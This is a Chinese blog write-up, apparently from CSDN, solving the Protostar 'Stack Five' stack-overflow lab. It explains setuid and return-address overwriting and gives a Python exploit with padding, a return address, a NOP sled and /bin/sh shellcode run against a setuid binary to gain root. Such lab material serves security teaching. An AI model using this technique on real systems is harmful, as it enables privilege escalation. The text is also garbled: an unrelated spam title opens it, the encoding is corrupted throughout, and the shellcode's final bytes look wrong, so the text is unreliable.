衡陽哪有做網(wǎng)站推廣的網(wǎng)站關(guān)鍵詞全國各地的排名情況
前言
這是一個(gè)系列文章,之前已經(jīng)介紹過一些二進(jìn)制安全的基礎(chǔ)知識(shí),這里就不過多重復(fù)提及,不熟悉的同學(xué)可以去看看我之前寫的文章
二進(jìn)制安全虛擬機(jī)Protostar靶場(chǎng) 安裝,基礎(chǔ)知識(shí)講解,破解STACK ZERO
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501
二進(jìn)制安全虛擬機(jī)Protostar靶場(chǎng)(2)基礎(chǔ)知識(shí)講解,棧溢出覆蓋變量 Stack One,Stack Two
https://blog.csdn.net/qq_45894840/article/details/132688653?spm=1001.2014.3001.5501
二進(jìn)制安全虛擬機(jī)Protostar靶場(chǎng)(3)溢出控制程序指針,基礎(chǔ)知識(shí)講解 Stack Three,Stack Four
https://blog.csdn.net/qq_45894840/article/details/132720953?spm=1001.2014.3001.5501
Stack Five
程序靜態(tài)分析
https://exploit.education/protostar/stack-five/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>int main(int argc, char **argv)
{char buffer[64];gets(buffer);
}
這個(gè)程序很簡(jiǎn)單,只有兩行,作用只是接受我們的輸入
setuid
什么是setuid?
setuid代表設(shè)置用戶身份,并且setuid設(shè)置調(diào)用進(jìn)程的有效用戶ID,用戶運(yùn)行程序的uid與調(diào)用進(jìn)程的真實(shí)uid不匹配
這么說起來有點(diǎn)繞,我們來舉一個(gè)例子
一個(gè)要以root權(quán)限運(yùn)行的程序,但我們想讓普通用戶也能運(yùn)行它,但又要防止該程序被攻擊者利用,這里就需要用的setuid了
演示
我們用user用戶運(yùn)行一個(gè)vim
然后新開一個(gè)窗口查看后臺(tái)進(jìn)程
ps -aux
這里可以看到,我們的vim正在以u(píng)ser的權(quán)限運(yùn)行中,然后我們?nèi)?zhí)行一下靶機(jī)上的setuid文件看看
這里可以看到,我們雖然是user用戶,但執(zhí)行文件后,文件正以root權(quán)限運(yùn)行
我們查看文件的權(quán)限
r代表讀,w代表寫,x代表執(zhí)行,那s是什么呢
s替換了以x的可執(zhí)行文件,這被稱為setuid位,根據(jù)剛剛的操作,應(yīng)該知道了s是做什么的
當(dāng)這個(gè)位被user權(quán)限的用戶執(zhí)行時(shí),linux實(shí)際上是以文件的創(chuàng)造者的權(quán)限運(yùn)行的,在這種情況下,它是以root權(quán)限運(yùn)行的
我們的目標(biāo)就是,破解這些文件然后拿到root權(quán)限
什么是棧
可以把棧想象成一個(gè)堆積的書本,你可以把新的書本放在最頂部,也可以取出最頂部的書本。
當(dāng)程序執(zhí)行時(shí),它會(huì)使用棧來跟蹤函數(shù)調(diào)用和變量的值。每次你調(diào)用一個(gè)函數(shù),計(jì)算機(jī)會(huì)在棧上創(chuàng)建一個(gè)新的“幀”(就像書本一樣),用來存儲(chǔ)這個(gè)函數(shù)的局部變量和執(zhí)行時(shí)的一些信息。當(dāng)函數(shù)執(zhí)行完畢時(shí),這個(gè)幀會(huì)被從棧上移除,就像取出一本書本一樣。
棧通常是“后進(jìn)先出”的,這意味著最后放入棧的數(shù)據(jù)會(huì)最先被取出。這是因?yàn)闂5牟僮魇欠浅?焖俸透咝У?#xff0c;所以它經(jīng)常用于管理函數(shù)調(diào)用和跟蹤程序執(zhí)行流程
為什么要覆蓋ret返回地址
覆蓋 ret 返回地址是一種計(jì)算機(jī)攻擊技巧,攻擊者利用它來改變程序執(zhí)行的路徑。這個(gè)過程有點(diǎn)像將一個(gè)路標(biāo)或?qū)Ш街噶钐鎿Q成你自己的指令,以便程序執(zhí)行到你想要的地方。
想象一下,你在開車時(shí)遇到一個(gè)交叉路口,路標(biāo)告訴你向左拐才能到達(dá)目的地。但是,攻擊者可能會(huì)悄悄地改變路標(biāo),讓你誤以為需要向右拐。當(dāng)你按照這個(gè)偽裝的路標(biāo)行駛時(shí),你最終會(huì)到達(dá)攻擊者想要的地方,而不是你本來的目的地。
在計(jì)算機(jī)中,程序執(zhí)行的路徑通常是通過返回地址控制的,這個(gè)返回地址告訴計(jì)算機(jī)在函數(shù)執(zhí)行完畢后應(yīng)該繼續(xù)執(zhí)行哪里的代碼。攻擊者可以通過修改這個(gè)返回地址,迫使程序跳轉(zhuǎn)到他們指定的地方,通常是一段惡意代碼,而不是正常的程序代碼
獲取ret返回地址
使用gdb打開程序,在執(zhí)行l(wèi)eave指令的地方下一個(gè)斷點(diǎn)
運(yùn)行程序,隨便輸入一些字符,然后查看棧狀態(tài)
x/100wx $esp
另外開一個(gè)遠(yuǎn)程連接界面,使用gdb打開程序,在執(zhí)行ret指令的地方下一個(gè)斷點(diǎn)
在第二個(gè)終端界面運(yùn)行程序,隨便輸入一些字符,然后執(zhí)行ret指令,查看程序跳轉(zhuǎn)的地址
根據(jù)計(jì)算,我們需要80個(gè)字符就能完全覆蓋ret的返回地址,然后再將我們的shellcode放到控制數(shù)據(jù)的堆棧里
nop指令
NOP指令是一種特殊的機(jī)器指令,它在計(jì)算機(jī)中執(zhí)行時(shí)不做任何操作。簡(jiǎn)單來說,NOP指令是一種“空操作”,它不改變計(jì)算機(jī)的狀態(tài)、不影響寄存器的值,也不執(zhí)行任何計(jì)算或跳轉(zhuǎn)
為了防止我們shellcode收到干擾,我們?cè)趕hellcode代碼前添加一些nop指令即可
腳本編寫
import structpadding = "A" * 76
eip = struct.pack("I",0xbffff7c0)
nopnop = "\x90"*64
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"print padding+eip+nopnop+payload
首先設(shè)置一個(gè)76位的垃圾字符,然后利用struct模塊的pack功能,作用是將一個(gè)無符號(hào)整數(shù)(I 表示無符號(hào)整數(shù))轉(zhuǎn)換為二進(jìn)制數(shù)據(jù),跳轉(zhuǎn)到控制數(shù)據(jù)的棧里,最后寫入nop指令和shellcode代碼,shellcode代碼可以在這個(gè)網(wǎng)站里找到
http://shell-storm.org/shellcode/files/shellcode-811.html
這是一個(gè)linux x86架構(gòu)執(zhí)行/bin/sh的shellcode
如果我們直接運(yùn)行腳本是得不到/bin/sh的
其實(shí)/bin/sh已經(jīng)執(zhí)行了,只是沒有輸入,我們可以用cat命令來重定向到標(biāo)準(zhǔn)輸入輸出
(python stack5exp.py ; cat) | /opt/protostar/bin/stack5
成功破解程序